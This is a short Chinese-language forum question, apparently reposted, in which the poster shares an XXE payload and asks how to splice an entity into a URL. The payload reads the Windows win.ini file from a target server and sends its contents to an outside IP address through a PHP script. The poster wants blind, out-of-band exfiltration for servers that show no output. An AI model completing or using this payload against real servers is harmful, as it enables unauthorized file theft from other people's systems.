大佬們,如何在XML中拼接將屬性與變數拼接起來呢?
我的XXE payload 是這樣的:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % ab SYSTEM "file:///c://windows//win.ini">
<!ENTITY xxe SYSTEM "http://123.56.01.01/1.php?id=%ab;">]>
<a>&xxe;</a>
這里我利用漏洞去讀取服務器的win.ini檔案,但是在日常作業中,有的服務器因為安全配置關閉了命令回顯,這個時候就不能獲取到讀的win.ini檔案。
希望大佬們給我解答下,非常感謝!!!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/135382.html
標籤:XML/XSL
上一篇:js初學者第3天
